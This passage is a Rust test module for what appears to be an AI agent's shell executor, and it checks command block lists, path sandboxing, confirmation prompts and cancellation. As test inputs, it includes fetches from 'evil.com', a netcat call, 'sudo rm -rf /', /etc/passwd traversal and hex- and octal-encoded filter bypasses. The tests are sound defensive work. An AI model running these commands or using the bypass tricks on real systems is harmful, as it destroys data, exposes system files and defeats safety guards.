1165 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1166 ..default_config()
1167 };
1168 let executor = ShellExecutor::new(&config);
1169 assert!(executor.find_blocked_command("sudo rm").is_some());
1170 assert!(
1171 executor
1172 .find_blocked_command("curl https://example.com")
1173 .is_some()
1174 );
1175 }
1176
1177 #[test]
1178 fn empty_allowed_commands_changes_nothing() {
1179 let executor = ShellExecutor::new(&default_config());
1180 assert!(
1181 executor
1182 .find_blocked_command("curl https://example.com")
1183 .is_some()
1184 );
1185 assert!(executor.find_blocked_command("sudo rm").is_some());
1186 assert!(
1187 executor
1188 .find_blocked_command("wget http://evil.com")
1189 .is_some()
1190 );
1191 }
1192
1193 #[test]
1196 fn extract_paths_from_code() {
1197 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1198 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1199 }
1200
1201 #[test]
1202 fn extract_paths_handles_trailing_chars() {
1203 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1204 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1205 }
1206
1207 #[test]
1208 fn extract_paths_detects_relative() {
1209 let paths = extract_paths("cat ./file.txt ../other");
1210 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1211 }
1212
1213 #[test]
1214 fn sandbox_allows_cwd_by_default() {
1215 let executor = ShellExecutor::new(&default_config());
1216 let cwd = std::env::current_dir().unwrap();
1217 let cwd_path = cwd.display().to_string();
1218 let code = format!("cat {cwd_path}/file.txt");
1219 assert!(executor.validate_sandbox(&code).is_ok());
1220 }
1221
1222 #[test]
1223 fn sandbox_rejects_path_outside_allowed() {
1224 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1225 let executor = ShellExecutor::new(&config);
1226 let result = executor.validate_sandbox("cat /etc/passwd");
1227 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1228 }
1229
1230 #[test]
1231 fn sandbox_no_absolute_paths_passes() {
1232 let config = sandbox_config(vec!["/tmp".into()]);
1233 let executor = ShellExecutor::new(&config);
1234 assert!(executor.validate_sandbox("echo hello").is_ok());
1235 }
1236
1237 #[test]
1238 fn sandbox_rejects_dotdot_traversal() {
1239 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1240 let executor = ShellExecutor::new(&config);
1241 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1242 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1243 }
1244
1245 #[test]
1246 fn sandbox_rejects_bare_dotdot() {
1247 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1248 let executor = ShellExecutor::new(&config);
1249 let result = executor.validate_sandbox("cd ..");
1250 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1251 }
1252
1253 #[test]
1254 fn sandbox_rejects_relative_dotslash_outside() {
1255 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1256 let executor = ShellExecutor::new(&config);
1257 let result = executor.validate_sandbox("cat ./secret.txt");
1258 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1259 }
1260
1261 #[test]
1262 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1263 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1264 let executor = ShellExecutor::new(&config);
1265 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1266 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1267 }
1268
1269 #[test]
1270 fn has_traversal_detects_dotdot() {
1271 assert!(has_traversal("../etc/passwd"));
1272 assert!(has_traversal("./foo/../bar"));
1273 assert!(has_traversal("/tmp/sandbox/../../etc"));
1274 assert!(has_traversal(".."));
1275 assert!(!has_traversal("./safe/path"));
1276 assert!(!has_traversal("/absolute/path"));
1277 assert!(!has_traversal("no-dots-here"));
1278 }
1279
1280 #[test]
1281 fn extract_paths_detects_dotdot_standalone() {
1282 let paths = extract_paths("cd ..");
1283 assert_eq!(paths, vec!["..".to_owned()]);
1284 }
1285
1286 #[test]
1289 fn allow_network_false_blocks_network_commands() {
1290 let config = ShellConfig {
1291 allow_network: false,
1292 ..default_config()
1293 };
1294 let executor = ShellExecutor::new(&config);
1295 assert!(
1296 executor
1297 .find_blocked_command("curl https://example.com")
1298 .is_some()
1299 );
1300 assert!(
1301 executor
1302 .find_blocked_command("wget http://example.com")
1303 .is_some()
1304 );
1305 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1306 }
1307
1308 #[test]
1309 fn allow_network_true_keeps_default_behavior() {
1310 let config = ShellConfig {
1311 allow_network: true,
1312 ..default_config()
1313 };
1314 let executor = ShellExecutor::new(&config);
1315 assert!(
1317 executor
1318 .find_blocked_command("curl https://example.com")
1319 .is_some()
1320 );
1321 }
1322
1323 #[test]
1326 fn find_confirm_command_matches_pattern() {
1327 let config = ShellConfig {
1328 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1329 ..default_config()
1330 };
1331 let executor = ShellExecutor::new(&config);
1332 assert_eq!(
1333 executor.find_confirm_command("rm /tmp/file.txt"),
1334 Some("rm ")
1335 );
1336 assert_eq!(
1337 executor.find_confirm_command("git push -f origin main"),
1338 Some("git push -f")
1339 );
1340 }
1341
1342 #[test]
1343 fn find_confirm_command_case_insensitive() {
1344 let config = ShellConfig {
1345 confirm_patterns: vec!["drop table".into()],
1346 ..default_config()
1347 };
1348 let executor = ShellExecutor::new(&config);
1349 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1350 }
1351
1352 #[test]
1353 fn find_confirm_command_no_match() {
1354 let config = ShellConfig {
1355 confirm_patterns: vec!["rm ".into()],
1356 ..default_config()
1357 };
1358 let executor = ShellExecutor::new(&config);
1359 assert!(executor.find_confirm_command("echo hello").is_none());
1360 }
1361
1362 #[tokio::test]
1363 async fn confirmation_required_returned() {
1364 let config = ShellConfig {
1365 confirm_patterns: vec!["rm ".into()],
1366 ..default_config()
1367 };
1368 let executor = ShellExecutor::new(&config);
1369 let response = "```bash\nrm file.txt\n```";
1370 let result = executor.execute(response).await;
1371 assert!(matches!(
1372 result,
1373 Err(ToolError::ConfirmationRequired { .. })
1374 ));
1375 }
1376
1377 #[tokio::test]
1378 async fn execute_confirmed_skips_confirmation() {
1379 let config = ShellConfig {
1380 confirm_patterns: vec!["echo".into()],
1381 ..default_config()
1382 };
1383 let executor = ShellExecutor::new(&config);
1384 let response = "```bash\necho confirmed\n```";
1385 let result = executor.execute_confirmed(response).await;
1386 assert!(result.is_ok());
1387 let output = result.unwrap().unwrap();
1388 assert!(output.summary.contains("confirmed"));
1389 }
1390
1391 #[test]
1394 fn default_confirm_patterns_loaded() {
1395 let config = ShellConfig::default();
1396 assert!(!config.confirm_patterns.is_empty());
1397 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1398 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1399 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1400 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1401 }
1402
1403 #[test]
1406 fn backslash_bypass_blocked() {
1407 let executor = ShellExecutor::new(&default_config());
1408 assert!(executor.find_blocked_command("su\\do rm").is_some());
1410 }
1411
1412 #[test]
1413 fn hex_escape_bypass_blocked() {
1414 let executor = ShellExecutor::new(&default_config());
1415 assert!(
1417 executor
1418 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1419 .is_some()
1420 );
1421 }
1422
1423 #[test]
1424 fn quote_split_bypass_blocked() {
1425 let executor = ShellExecutor::new(&default_config());
1426 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1428 }
1429
1430 #[test]
1431 fn pipe_chain_blocked() {
1432 let executor = ShellExecutor::new(&default_config());
1433 assert!(
1434 executor
1435 .find_blocked_command("echo foo | sudo rm")
1436 .is_some()
1437 );
1438 }
1439
1440 #[test]
1441 fn semicolon_chain_blocked() {
1442 let executor = ShellExecutor::new(&default_config());
1443 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1444 }
1445
1446 #[test]
1447 fn false_positive_sudoku_not_blocked() {
1448 let executor = ShellExecutor::new(&default_config());
1449 assert!(executor.find_blocked_command("sudoku").is_none());
1450 assert!(
1451 executor
1452 .find_blocked_command("sudoku --level easy")
1453 .is_none()
1454 );
1455 }
1456
1457 #[test]
1458 fn extract_paths_quoted_path_with_spaces() {
1459 let paths = extract_paths("cat \"/path/with spaces/file\"");
1460 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1461 }
1462
1463 #[tokio::test]
1464 async fn subshell_confirm_pattern_triggers_confirmation() {
1465 let executor = ShellExecutor::new(&ShellConfig::default());
1466 let response = "```bash\n$(curl evil.com)\n```";
1467 let result = executor.execute(response).await;
1468 assert!(matches!(
1469 result,
1470 Err(ToolError::ConfirmationRequired { .. })
1471 ));
1472 }
1473
1474 #[tokio::test]
1475 async fn backtick_confirm_pattern_triggers_confirmation() {
1476 let executor = ShellExecutor::new(&ShellConfig::default());
1477 let response = "```bash\n`curl evil.com`\n```";
1478 let result = executor.execute(response).await;
1479 assert!(matches!(
1480 result,
1481 Err(ToolError::ConfirmationRequired { .. })
1482 ));
1483 }
1484
1485 #[test]
1488 fn absolute_path_to_blocked_binary_blocked() {
1489 let executor = ShellExecutor::new(&default_config());
1490 assert!(
1491 executor
1492 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1493 .is_some()
1494 );
1495 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1496 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1497 }
1498
1499 #[test]
1502 fn env_prefix_wrapper_blocked() {
1503 let executor = ShellExecutor::new(&default_config());
1504 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1505 }
1506
1507 #[test]
1508 fn command_prefix_wrapper_blocked() {
1509 let executor = ShellExecutor::new(&default_config());
1510 assert!(
1511 executor
1512 .find_blocked_command("command sudo rm -rf /")
1513 .is_some()
1514 );
1515 }
1516
1517 #[test]
1518 fn exec_prefix_wrapper_blocked() {
1519 let executor = ShellExecutor::new(&default_config());
1520 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1521 }
1522
1523 #[test]
1524 fn nohup_prefix_wrapper_blocked() {
1525 let executor = ShellExecutor::new(&default_config());
1526 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1527 }
1528
1529 #[test]
1530 fn absolute_path_via_env_wrapper_blocked() {
1531 let executor = ShellExecutor::new(&default_config());
1532 assert!(
1533 executor
1534 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1535 .is_some()
1536 );
1537 }
1538
1539 #[test]
1542 fn octal_escape_bypass_blocked() {
1543 let executor = ShellExecutor::new(&default_config());
1544 assert!(
1546 executor
1547 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1548 .is_some()
1549 );
1550 }
1551
1552 #[tokio::test]
1553 async fn with_audit_attaches_logger() {
1554 use crate::audit::AuditLogger;
1555 use crate::config::AuditConfig;
1556 let config = default_config();
1557 let executor = ShellExecutor::new(&config);
1558 let audit_config = AuditConfig {
1559 enabled: true,
1560 destination: "stdout".into(),
1561 };
1562 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1563 let executor = executor.with_audit(logger);
1564 assert!(executor.audit_logger.is_some());
1565 }
1566
1567 #[test]
1568 fn chrono_now_returns_valid_timestamp() {
1569 let ts = chrono_now();
1570 assert!(!ts.is_empty());
1571 let parsed: u64 = ts.parse().unwrap();
1572 assert!(parsed > 0);
1573 }
1574
1575 #[cfg(unix)]
1576 #[tokio::test]
1577 async fn execute_bash_injects_extra_env() {
1578 let mut env = std::collections::HashMap::new();
1579 env.insert(
1580 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1581 "hello-from-env".to_owned(),
1582 );
1583 let (result, code) = execute_bash(
1584 "echo $ZEPH_TEST_INJECTED_VAR",
1585 Duration::from_secs(5),
1586 None,
1587 None,
1588 Some(&env),
1589 )
1590 .await;
1591 assert_eq!(code, 0);
1592 assert!(result.contains("hello-from-env"));
1593 }
1594
1595 #[cfg(unix)]
1596 #[tokio::test]
1597 async fn shell_executor_set_skill_env_injects_vars() {
1598 let config = ShellConfig {
1599 timeout: 5,
1600 allowed_commands: vec![],
1601 blocked_commands: vec![],
1602 allowed_paths: vec![],
1603 confirm_patterns: vec![],
1604 allow_network: false,
1605 };
1606 let executor = ShellExecutor::new(&config);
1607 let mut env = std::collections::HashMap::new();
1608 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1609 executor.set_skill_env(Some(env));
1610 use crate::executor::ToolExecutor;
1611 let result = executor
1612 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1613 .await
1614 .unwrap()
1615 .unwrap();
1616 assert!(result.summary.contains("injected-value"));
1617 executor.set_skill_env(None);
1618 }
1619
1620 #[cfg(unix)]
1621 #[tokio::test]
1622 async fn execute_bash_error_handling() {
1623 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1624 assert_eq!(result, "(no output)");
1625 assert_eq!(code, 1);
1626 }
1627
1628 #[cfg(unix)]
1629 #[tokio::test]
1630 async fn execute_bash_command_not_found() {
1631 let (result, _) = execute_bash(
1632 "nonexistent-command-xyz",
1633 Duration::from_secs(5),
1634 None,
1635 None,
1636 None,
1637 )
1638 .await;
1639 assert!(result.contains("[stderr]") || result.contains("[error]"));
1640 }
1641
1642 #[test]
1643 fn extract_paths_empty() {
1644 assert!(extract_paths("").is_empty());
1645 }
1646
1647 #[tokio::test]
1648 async fn policy_deny_blocks_command() {
1649 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1650 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1651 let response = "```bash\nforbidden command\n```";
1652 let result = executor.execute(response).await;
1653 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1654 }
1655
1656 #[tokio::test]
1657 async fn policy_ask_requires_confirmation() {
1658 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1659 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1660 let response = "```bash\nrisky operation\n```";
1661 let result = executor.execute(response).await;
1662 assert!(matches!(
1663 result,
1664 Err(ToolError::ConfirmationRequired { .. })
1665 ));
1666 }
1667
1668 #[tokio::test]
1669 async fn policy_allow_skips_checks() {
1670 use crate::permissions::PermissionRule;
1671 use std::collections::HashMap;
1672 let mut rules = HashMap::new();
1673 rules.insert(
1674 "bash".to_owned(),
1675 vec![PermissionRule {
1676 pattern: "*".to_owned(),
1677 action: PermissionAction::Allow,
1678 }],
1679 );
1680 let policy = PermissionPolicy::new(rules);
1681 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1682 let response = "```bash\necho hello\n```";
1683 let result = executor.execute(response).await;
1684 assert!(result.is_ok());
1685 }
1686
1687 #[tokio::test]
1688 async fn blocked_command_logged_to_audit() {
1689 use crate::audit::AuditLogger;
1690 use crate::config::AuditConfig;
1691 let config = ShellConfig {
1692 blocked_commands: vec!["dangerous".to_owned()],
1693 ..default_config()
1694 };
1695 let audit_config = AuditConfig {
1696 enabled: true,
1697 destination: "stdout".into(),
1698 };
1699 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1700 let executor = ShellExecutor::new(&config).with_audit(logger);
1701 let response = "```bash\ndangerous command\n```";
1702 let result = executor.execute(response).await;
1703 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1704 }
1705
1706 #[test]
1707 fn tool_definitions_returns_bash() {
1708 let executor = ShellExecutor::new(&default_config());
1709 let defs = executor.tool_definitions();
1710 assert_eq!(defs.len(), 1);
1711 assert_eq!(defs[0].id, "bash");
1712 assert_eq!(
1713 defs[0].invocation,
1714 crate::registry::InvocationHint::FencedBlock("bash")
1715 );
1716 }
1717
1718 #[test]
1719 fn tool_definitions_schema_has_command_param() {
1720 let executor = ShellExecutor::new(&default_config());
1721 let defs = executor.tool_definitions();
1722 let obj = defs[0].schema.as_object().unwrap();
1723 let props = obj["properties"].as_object().unwrap();
1724 assert!(props.contains_key("command"));
1725 let req = obj["required"].as_array().unwrap();
1726 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1727 }
1728
1729 #[tokio::test]
1730 #[cfg(not(target_os = "windows"))]
1731 async fn cancel_token_kills_child_process() {
1732 let token = CancellationToken::new();
1733 let token_clone = token.clone();
1734 tokio::spawn(async move {
1735 tokio::time::sleep(Duration::from_millis(100)).await;
1736 token_clone.cancel();
1737 });
1738 let (result, code) = execute_bash(
1739 "sleep 60",
1740 Duration::from_secs(30),
1741 None,
1742 Some(&token),
1743 None,
1744 )
1745 .await;
1746 assert_eq!(code, 130);
1747 assert!(result.contains("[cancelled]"));
1748 }
1749
1750 #[tokio::test]
1751 #[cfg(not(target_os = "windows"))]
1752 async fn cancel_token_none_does_not_cancel() {
1753 let (result, code) =
1754 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1755 assert_eq!(code, 0);
1756 assert!(result.contains("ok"));
1757 }
1758
1759 #[tokio::test]
1760 #[cfg(not(target_os = "windows"))]
1761 async fn cancel_kills_child_process_group() {
1762 use std::path::Path;
1763 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1764 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1765 let token = CancellationToken::new();
1766 let token_clone = token.clone();
1767 tokio::spawn(async move {
1768 tokio::time::sleep(Duration::from_millis(200)).await;
1769 token_clone.cancel();
1770 });
1771 let (result, code) =
1772 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1773 assert_eq!(code, 130);
1774 assert!(result.contains("[cancelled]"));
1775 tokio::time::sleep(Duration::from_millis(500)).await;
1777 assert!(
1778 !Path::new(&marker).exists(),
1779 "subprocess should have been killed with process group"
1780 );
1781 }
1782
1783 #[tokio::test]
1784 #[cfg(not(target_os = "windows"))]
1785 async fn shell_executor_cancel_returns_cancelled_error() {
1786 let token = CancellationToken::new();
1787 let token_clone = token.clone();
1788 tokio::spawn(async move {
1789 tokio::time::sleep(Duration::from_millis(100)).await;
1790 token_clone.cancel();
1791 });
1792 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1793 let response = "```bash\nsleep 60\n```";
1794 let result = executor.execute(response).await;
1795 assert!(matches!(result, Err(ToolError::Cancelled)));
1796 }
1797
1798 #[tokio::test]
1799 #[cfg(not(target_os = "windows"))]
1800 async fn execute_tool_call_valid_command() {
1801 let executor = ShellExecutor::new(&default_config());
1802 let call = ToolCall {
1803 tool_id: "bash".to_owned(),
1804 params: [("command".to_owned(), serde_json::json!("echo hi"))]
1805 .into_iter()
1806 .collect(),
1807 };
1808 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1809 assert!(result.summary.contains("hi"));
1810 }
1811
1812 #[tokio::test]
1813 async fn execute_tool_call_missing_command_returns_invalid_params() {
1814 let executor = ShellExecutor::new(&default_config());
1815 let call = ToolCall {
1816 tool_id: "bash".to_owned(),
1817 params: serde_json::Map::new(),
1818 };
1819 let result = executor.execute_tool_call(&call).await;
1820 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1821 }
1822
1823 #[tokio::test]
1824 async fn execute_tool_call_empty_command_returns_none() {
1825 let executor = ShellExecutor::new(&default_config());
1826 let call = ToolCall {
1827 tool_id: "bash".to_owned(),
1828 params: [("command".to_owned(), serde_json::json!(""))]
1829 .into_iter()
1830 .collect(),
1831 };
1832 let result = executor.execute_tool_call(&call).await.unwrap();
1833 assert!(result.is_none());
1834 }
1835}